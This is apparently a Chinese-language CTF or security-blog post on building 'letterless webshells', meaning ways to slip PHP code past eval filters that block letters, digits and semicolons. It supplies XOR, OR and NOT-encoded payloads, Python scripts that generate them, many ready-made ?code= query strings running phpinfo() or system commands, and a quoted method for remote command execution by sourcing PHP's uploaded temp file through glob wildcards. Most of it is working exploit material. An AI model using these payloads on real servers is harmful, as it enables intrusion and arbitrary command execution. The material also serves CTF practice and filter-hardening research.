无字母webshell | Bypass

无字母webshell-plus

Pation

  • 短标签不需要分号闭合?code=?><?=phpinfo()?><?=system("dir")?>

  • eval执行代码相当于另外生成一个php文件,文件格式为有<?php ..... ?>所以可以通过短标签摆脱;的限制

  • 异或和或运算时要将两个部分的参数用引号包起来?code=("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();

  • ${...}{0}里面的运算会执行且当运算结果为_GET时效果和$_GET无异

  • linux的.表示当前的shell(如/bin/bash)

  • 可以通过 ls /fl????? 匹配文件

方法一:异或运算^

方法一:或运算|

方法一+方法二获取脚本:

import string,urllib.parse
print(string.printable)
def get_chr(c,jud):
    for i in range(0xFF):
        for j in range(128):
            if (jud == "|"):
                if (chr(i | j) == c):
                    if (chr(i)not in disable) and (chr(j)not in disable):
                        return i,j
            elif jud == "^":
                if (chr(i ^ j) == c):
                    if (chr(i)not in disable) and (chr(j)not in disable):
                        return i,j

#根据过滤加入被过滤的字符
disable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
print("disable_chars => ",disable)
jud = input("选择或运算(|)输入|,选择异或运算(^)输入^\n->\t")
while 1:
    c1 = ""
    c2 = ""
    inp = input("input Your string:\n->\t")
    for i in inp:
        a,b = get_chr(i,jud)
        a1 = str(hex(a)).replace("0x","")
        b1 = str(hex(b)).replace("0x","")
        if int(a)<16: c1 += "%0"+a1
        else: c1 += "%"+a1
        if int(b)<16: c2 += "%0"+b1
        else: c2 += "%"+ b1

    print("payload\t=\t(\""+c1+"\""+jud+"\""+c2+"\")")
    # ?code=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%04%09%09"^"%60%60%7b");
    # => ?code=("system")("dir");

方法三 : 取反运算~

<?php
$code="phpinfo";
echo "\n$code\t(~".urlencode(~$code).")";

php5与php7的区别:

php5不支持($a)()这种方法动态解析调用函数;

在 PHP 5 中 assert() 是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码,此时它可以起到替代 eval() 的作用。但是在 PHP 7 中,assert() 不再是函数了,而是变成了一个和 eval() 一样的语言结构,此时便和 eval() 一样不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用 file_put_contents() 函数,同样可以用来 Getshell 。


异或运算^或运算|取反运算~方法都是先进行运算后得到函数字符串再动态执行函数的,想要进行运算得到目标字符串有以下方法(三种):

方法一 : 通过(...)执行运算

?code=(~%8F%97%8F%96%91%99%90)();

方法二 : 通过[...][0]执行运算

[]会执行里面的函数,然后得到的结果为一个数组,[][0]获得第一个成员变量(%ff取反得到的是false)
方法二payload生成脚本:

exp = ""
def urlbm(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:]
    return f"[~{ss}][!%FF]("
while True:
    fun = input("Firebasky>: ").strip(")").split("(")
    exp = ''
    for each in fun[:-1]:
        exp += urlbm(each)
        print(exp)
    exp += ")" * (len(fun) - 1) + ";"
    print(exp)
?code=[~%8F%97%8F%96%91%99%90][0]();
?code=[~%8F%97%8F%96%91%99%90][~%ff]();
?code=[~%8F%97%8F%96%91%99%90,0][~%ff]();
?code=[phpinfo,0][~%ff]();
以上都可行,以下不执行
?code=[~%8F%97%8F%96%91%99%90,0][1]();

所以可以通过[~%8F%97%8F%96%91%99%90][!%FF]()这种方法得到"phpinfo"字符串进一步执行phpinfo()函数

?code=[~%8F%97%8F%96%91%99%90][!%FF]();

方法三 : 通过${...}{%ff}执行运算得到${_GET}{%ff}

这个方法不会受到版本限制(php5或php7均可)

还可以通过?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%FF}();结合get传参的方法(%ff%ff%ff%ff^%a0%b8%ba%ab得到的结果就是_GET)执行phpinfo();

注:本地测试" var_dump(${_GET}); "可以正常输出,但是" var_dump({_GET}); "会报错

?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(${%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir

解释一下这个师傅的绕过手法:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
即: 
${_GET}{%ff}();&%ff=phpinfo
//?shell=${_GET}{%ff}();&%ff=phpinfo

任何字符与 0xff 异或都会取相反,这样就能减少运算量了。 注意:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用代替,原因是 PHP 的 use of undefined constant 特性。例如${_GET}{a}这样的语句 PHP 是不会判为错误的,因为是用来界定变量的,这句话就是会将_GET自动看为字符串,也就是$_GET['a']${_GET}{%ff}后面那个()为的是能够动态执行传入的 PHP 函数。

?code="phpinfo"();
?code=("phpinfo")();
?code=("php"."info")();
?code=($_GET[0])();&0=phpinfo
?code=[~%8F%97%8F%96%91%99%90][!%FF]();
?code=("%10%08%10%09%0E%06%0F"|"```````")();
?code=("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();
?code=(~%8F%97%8F%96%91%99%90)();
以上方法在php5中都不能执行phpinfo()函数,但是php7中就可以

以下方法不受版本限制
?code=$_="dir"?><?=`$_`;
?code=$_="phpinfo";$_();
?code=$_GET[0]();&0=phpinfo
?code=$_=(~%8F%97%8F%96%91%99%90);$_();
?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(${%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir

总结:一般都不会丧心病狂过滤(),所以php7中可以直接通过(...)(...)这种方式执行任意代码,但是php5就比较麻烦,如果$和=可用还能则可以通过?code=$=(~%8F%97%8F%96%91%99%90);$\();执行代码

或者标准方法三也可以执行任意代码:?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(${%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir

分号;被过滤?

可以通过不断闭合再短标签执行多个函数 : ?code=?><?=phpinfo()?><?=system("dir")?>

但是如果在php5中$被ban了的话只能通过如下拓展,

1: 利用?>闭合eval的<?标签再通过短标签<?=和``获得shell的方法

2: 配合通配符执行匹配文件 和 .使用当前shell执行文件

3: 配套上文件上传暂存文件名的规律构造匹配的通配符

最终实现通过当前shell(如/bin/bash)执行构造好的上传文件,最终达到RCE的效果

拓展方法四

拓展一些(来自p神的文章) : https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

PHP5+shell打破禁锢

因为反引号不属于“字母”、“数字”,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、$的系统命令来getshell?

好像问题又回到了原点:无字母、数字、$,在shell中仍然是一个难题。

此时我想到了两个有趣的Linux shell知识点:

  1. shell下可以利用.来执行任意脚本
  2. Linux文件名支持用glob通配符代替

第一点曾在《 小密圈里的那些奇技淫巧 》露出过一角,但我没细讲。.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

但我们尝试执行. /???/?????????,却得到如下错误:

image.png

这是因为,能够匹配上/???/?????????这个通配符的文件有很多,我们可以列出来:

image.png

可见,我们要执行的/tmp/phpcjggLC排在倒数第二位。然而,在执行第一个匹配上的文件(即/bin/run-parts)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。

思路又陷入了僵局,虽然方向没错。

深入理解glob通配符

大部分同学对于通配符,可能知道的都只有*?。但实际上,阅读Linux的文档( http://man7.org/linux/man-pages/man7/glob.7.html ),可以学到更多有趣的知识点。

其中,glob支持用[^x]的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉/bin/run-parts

image.png

排除了第4个字符是-的文件,同样我们可以排除包含.的文件:

image.png

现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了。

继续阅读glob的帮助,我发现另一个有趣的用法:

image.png

就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。

我们再来看看之前列出可能干扰我们的文件:

image.png

所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@[之间:

image.png

那么,我们可以利用[@-[]来表示大写字母:

image.png

显然这一招是管用的。

构造POC,执行任意命令

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

最后,我传入的code为?><?=. /???/????????[@-[];?>,发送数据包如下:

img

成功执行任意命令。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇